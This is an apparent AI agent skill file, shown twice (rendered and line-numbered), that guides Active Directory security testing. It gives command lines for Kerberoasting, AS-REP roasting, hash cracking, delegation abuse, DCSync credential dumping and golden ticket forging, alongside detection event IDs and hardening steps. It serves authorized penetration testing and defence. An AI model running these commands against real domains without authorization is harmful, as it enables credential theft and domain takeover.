name: active-directory-security
description: >-
Active Directory security assessment, attack path analysis, and hardening
covering BloodHound enumeration, Kerberoasting, AS-REP roasting, AD CS abuse,
DCSync attacks, delegation exploitation, golden ticket forging, persistence
detection, Group Policy auditing, password auditing, NTLM relay attacks, and
infrastructure hardening. Enables red team AD compromise chains and blue team
detection and remediation mapped to MITRE ATT&CK.
domain: cybersecurity
subdomain: active-directory-security
tags:
- active-directory
- bloodhound
- kerberoasting
- as-rep-roasting
- ad-cs
- dcsync
- delegation
- golden-ticket
- persistence
- group-policy
- password-audit
- ntlm-relay
- hardening
- mitre-attack
version: "1.0"
author: defconxt
license: AGPL-3.0
compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent.
metadata:
mitre-attack: ["T1558", "T1003", "T1187", "T1649", "T1134", "T1484", "T1556", "T1110"]
frameworks: ["MITRE ATT&CK", "CIS Benchmarks", "NIST 800-53", "STIGs"]
Active Directory Security
When to Use
Activate when the operator asks about Active Directory attack paths, Kerberos
exploitation, AD certificate abuse, domain persistence, privilege escalation
within AD forests, Group Policy security, NTLM relay attacks, domain controller
hardening, or AD password auditing.
Mode: [MODE: RED] for AD exploitation; [MODE: BLUE] for detection and hardening; [MODE: PURPLE] for attack-path-to-detection mapping.
Prerequisites
- Domain-joined system or network access to AD environment
- Impacket suite (
pip install impacket)
- BloodHound + SharpHound or bloodhound-python collector
- Rubeus (compiled .NET binary for Kerberos attacks)
- Certipy (
pip install certipy-ad) for AD CS assessment
- CrackMapExec / NetExec (
pip install crackmapexec)
- Authorized Rules of Engagement covering AD testing scope
Quick Reference
| Technique |
Primary Tools |
ATT&CK Tactic |
| BloodHound attack paths |
BloodHound, SharpHound, bloodhound-python |
Discovery (TA0007) |
| Kerberoasting |
Impacket GetUserSPNs, Rubeus |
Credential Access (TA0006) |
| AS-REP roasting |
Impacket GetNPUsers, Rubeus |
Credential Access (TA0006) |
| AD CS abuse |
Certipy, Certify |
Credential Access / Privilege Escalation |
| DCSync |
Impacket secretsdump, Mimikatz |
Credential Access (TA0006) |
| Delegation abuse |
Impacket, Rubeus, krbrelayx |
Privilege Escalation (TA0004) |
| Golden ticket |
Mimikatz, Impacket ticketer |
Persistence (TA0003) |
| Persistence detection |
BloodHound, PowerShell, ADRecon |
Discovery (TA0007) |
| Group Policy audit |
GPOReport, SharpGPOAbuse |
Privilege Escalation (TA0004) |
| Password audit |
CrackMapExec, DSInternals, hashcat |
Credential Access (TA0006) |
| NTLM relay |
Impacket ntlmrelayx, Responder |
Credential Access (TA0006) |
| AD hardening |
PingCastle, Purple Knight, GPO |
Defense (multiple) |
Workflow
1. Domain Reconnaissance
Enumerate the AD environment and identify attack surface:
# Collect BloodHound data with bloodhound-python
bloodhound-python -d corp.local -u jsmith -p 'P@ssw0rd' -ns 10.0.0.1 -c all
# Enumerate domain controllers
crackmapexec smb 10.0.0.0/24 --gen-relay-list targets.txt
# Identify domain trusts
python3 -m impacket.examples.GetADUsers -all -dc-ip 10.0.0.1 corp.local/jsmith:'P@ssw0rd'
2. Credential Attack Surface
Identify Kerberoastable accounts, AS-REP roastable users, and weak configs:
# Find Kerberoastable service accounts
impacket-GetUserSPNs -request -dc-ip 10.0.0.1 corp.local/jsmith:'P@ssw0rd'
# Find AS-REP roastable accounts (no preauth)
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -format hashcat
# Enumerate AD CS templates for ESC vulnerabilities
certipy find -u jsmith@corp.local -p 'P@ssw0rd' -dc-ip 10.0.0.1 -vulnerable
3. Privilege Escalation Paths
Exploit discovered weaknesses to escalate within the domain:
# Kerberoast and crack service account hashes
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
# Abuse constrained delegation
impacket-getST -spn cifs/dc01.corp.local -impersonate Administrator \
corp.local/svc-web:'P@ssw0rd' -dc-ip 10.0.0.1
# DCSync to extract domain hashes
impacket-secretsdump -just-dc corp.local/admin:'P@ssw0rd'@10.0.0.1
4. Domain Persistence
Establish and detect persistent access mechanisms:
# Forge golden ticket (requires krbtgt hash)
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... \
-domain corp.local Administrator
# Detect AdminSDHolder modifications
node scripts/agent.js detect-persistence --dc 10.0.0.1 --domain corp.local
5. Hardening and Remediation
Apply defensive controls and validate detection coverage:
# Run PingCastle health check
PingCastle.exe --healthcheck --server dc01.corp.local
# Audit GPO security settings
node scripts/agent.js audit-gpo --domain corp.local --dc 10.0.0.1
# Validate NTLM relay mitigations
node scripts/agent.js check-relay --targets targets.txt
Verification
Detection Opportunities
AD attacks generate telemetry across multiple detection layers:
- Windows Security Event 4769 (Kerberos service ticket — RC4 encryption type 0x17)
- Event 4768 with preauth type 0 for AS-REP roasting
- Event 4662 for DCSync (DS-Replication-Get-Changes extended rights)
- Event 4742 / 5136 for delegation and AdminSDHolder changes
- Certificate enrollment events (AD CS Event 4886/4887)
- NTLM authentication events and SMB signing status
- BloodHound-detectable high-privilege paths as proactive indicators
References
1---2name: active-directory-security3description: <!-- Copyright (c) 2026 defconxt. All rights reserved. -->4---5
6<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
7<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
8---
9name: active-directory-security
10description: >-
11 Active Directory security assessment, attack path analysis, and hardening
12 covering BloodHound enumeration, Kerberoasting, AS-REP roasting, AD CS abuse,
13 DCSync attacks, delegation exploitation, golden ticket forging, persistence
14 detection, Group Policy auditing, password auditing, NTLM relay attacks, and
15 infrastructure hardening. Enables red team AD compromise chains and blue team
16 detection and remediation mapped to MITRE ATT&CK.
17domain: cybersecurity
18subdomain: active-directory-security
19tags:
20 - active-directory
21 - bloodhound
22 - kerberoasting
23 - as-rep-roasting
24 - ad-cs
25 - dcsync
26 - delegation
27 - golden-ticket
28 - persistence
29 - group-policy
30 - password-audit
31 - ntlm-relay
32 - hardening
33 - mitre-attack
34version: "1.0"
35author: defconxt
36license: AGPL-3.0
37compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent.
38metadata:
39 mitre-attack: ["T1558", "T1003", "T1187", "T1649", "T1134", "T1484", "T1556", "T1110"]
40 frameworks: ["MITRE ATT&CK", "CIS Benchmarks", "NIST 800-53", "STIGs"]
41---
42
43# Active Directory Security
44
45## When to Use
46
47Activate when the operator asks about Active Directory attack paths, Kerberos
48exploitation, AD certificate abuse, domain persistence, privilege escalation
49within AD forests, Group Policy security, NTLM relay attacks, domain controller
50hardening, or AD password auditing.
51
52Mode: `[MODE: RED]` for AD exploitation; `[MODE: BLUE]` for detection and hardening; `[MODE: PURPLE]` for attack-path-to-detection mapping.
53
54## Prerequisites
55
56- Domain-joined system or network access to AD environment
57- Impacket suite (`pip install impacket`)
58- BloodHound + SharpHound or bloodhound-python collector
59- Rubeus (compiled .NET binary for Kerberos attacks)
60- Certipy (`pip install certipy-ad`) for AD CS assessment
61- CrackMapExec / NetExec (`pip install crackmapexec`)
62- Authorized Rules of Engagement covering AD testing scope
63
64## Quick Reference
65
66| Technique | Primary Tools | ATT&CK Tactic |
67|-----------|--------------|----------------|
68| BloodHound attack paths | BloodHound, SharpHound, bloodhound-python | Discovery (TA0007) |
69| Kerberoasting | Impacket GetUserSPNs, Rubeus | Credential Access (TA0006) |
70| AS-REP roasting | Impacket GetNPUsers, Rubeus | Credential Access (TA0006) |
71| AD CS abuse | Certipy, Certify | Credential Access / Privilege Escalation |
72| DCSync | Impacket secretsdump, Mimikatz | Credential Access (TA0006) |
73| Delegation abuse | Impacket, Rubeus, krbrelayx | Privilege Escalation (TA0004) |
74| Golden ticket | Mimikatz, Impacket ticketer | Persistence (TA0003) |
75| Persistence detection | BloodHound, PowerShell, ADRecon | Discovery (TA0007) |
76| Group Policy audit | GPOReport, SharpGPOAbuse | Privilege Escalation (TA0004) |
77| Password audit | CrackMapExec, DSInternals, hashcat | Credential Access (TA0006) |
78| NTLM relay | Impacket ntlmrelayx, Responder | Credential Access (TA0006) |
79| AD hardening | PingCastle, Purple Knight, GPO | Defense (multiple) |
80
81## Workflow
82
83### 1. Domain Reconnaissance
84
85Enumerate the AD environment and identify attack surface:
86
87```bash
88# Collect BloodHound data with bloodhound-python
89bloodhound-python -d corp.local -u jsmith -p 'P@ssw0rd' -ns 10.0.0.1 -c all
90
91# Enumerate domain controllers
92crackmapexec smb 10.0.0.0/24 --gen-relay-list targets.txt
93
94# Identify domain trusts
95python3 -m impacket.examples.GetADUsers -all -dc-ip 10.0.0.1 corp.local/jsmith:'P@ssw0rd'
96```
97
98### 2. Credential Attack Surface
99
100Identify Kerberoastable accounts, AS-REP roastable users, and weak configs:
101
102```bash
103# Find Kerberoastable service accounts
104impacket-GetUserSPNs -request -dc-ip 10.0.0.1 corp.local/jsmith:'P@ssw0rd'
105
106# Find AS-REP roastable accounts (no preauth)
107impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -format hashcat
108
109# Enumerate AD CS templates for ESC vulnerabilities
110certipy find -u jsmith@corp.local -p 'P@ssw0rd' -dc-ip 10.0.0.1 -vulnerable
111```
112
113### 3. Privilege Escalation Paths
114
115Exploit discovered weaknesses to escalate within the domain:
116
117```bash
118# Kerberoast and crack service account hashes
119hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
120
121# Abuse constrained delegation
122impacket-getST -spn cifs/dc01.corp.local -impersonate Administrator \
123 corp.local/svc-web:'P@ssw0rd' -dc-ip 10.0.0.1
124
125# DCSync to extract domain hashes
126impacket-secretsdump -just-dc corp.local/admin:'P@ssw0rd'@10.0.0.1
127```
128
129### 4. Domain Persistence
130
131Establish and detect persistent access mechanisms:
132
133```bash
134# Forge golden ticket (requires krbtgt hash)
135impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... \
136 -domain corp.local Administrator
137
138# Detect AdminSDHolder modifications
139node scripts/agent.js detect-persistence --dc 10.0.0.1 --domain corp.local
140```
141
142### 5. Hardening and Remediation
143
144Apply defensive controls and validate detection coverage:
145
146```bash
147# Run PingCastle health check
148PingCastle.exe --healthcheck --server dc01.corp.local
149
150# Audit GPO security settings
151node scripts/agent.js audit-gpo --domain corp.local --dc 10.0.0.1
152
153# Validate NTLM relay mitigations
154node scripts/agent.js check-relay --targets targets.txt
155```
156
157## Verification
158
159- [ ] BloodHound data collected and attack paths identified
160- [ ] Kerberoastable and AS-REP roastable accounts enumerated
161- [ ] AD CS templates audited for ESC1-ESC8 vulnerabilities
162- [ ] Delegation configurations reviewed for abuse potential
163- [ ] DCSync permissions audited (Replicating Directory Changes)
164- [ ] Group Policy objects reviewed for privilege escalation paths
165- [ ] NTLM relay attack surface mapped and mitigations verified
166- [ ] Password policy and account hygiene assessed
167- [ ] Domain persistence mechanisms detected and documented
168- [ ] Hardening recommendations delivered with CIS/STIG mappings
169
170## Detection Opportunities
171
172AD attacks generate telemetry across multiple detection layers:
173- Windows Security Event 4769 (Kerberos service ticket — RC4 encryption type 0x17)
174- Event 4768 with preauth type 0 for AS-REP roasting
175- Event 4662 for DCSync (DS-Replication-Get-Changes extended rights)
176- Event 4742 / 5136 for delegation and AdminSDHolder changes
177- Certificate enrollment events (AD CS Event 4886/4887)
178- NTLM authentication events and SMB signing status
179- BloodHound-detectable high-privilege paths as proactive indicators
180
181## References
182
183- [BloodHound](https://github.com/BloodHoundAD/BloodHound) — AD attack path analysis
184- [Impacket](https://github.com/fortra/impacket) — Python AD protocol toolkit
185- [Rubeus](https://github.com/GhostPack/Rubeus) — Kerberos interaction and abuse
186- [Certipy](https://github.com/ly4k/Certipy) — AD Certificate Services exploitation
187- [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) — AD/SMB post-exploitation
188- [PingCastle](https://www.pingcastle.com/) — AD security health assessment
189- [CIS Microsoft Windows Server Benchmarks](https://www.cisecurity.org/benchmark/microsoft_windows_server)
190- [SpecterOps AD Security Research](https://specterops.io/blog/)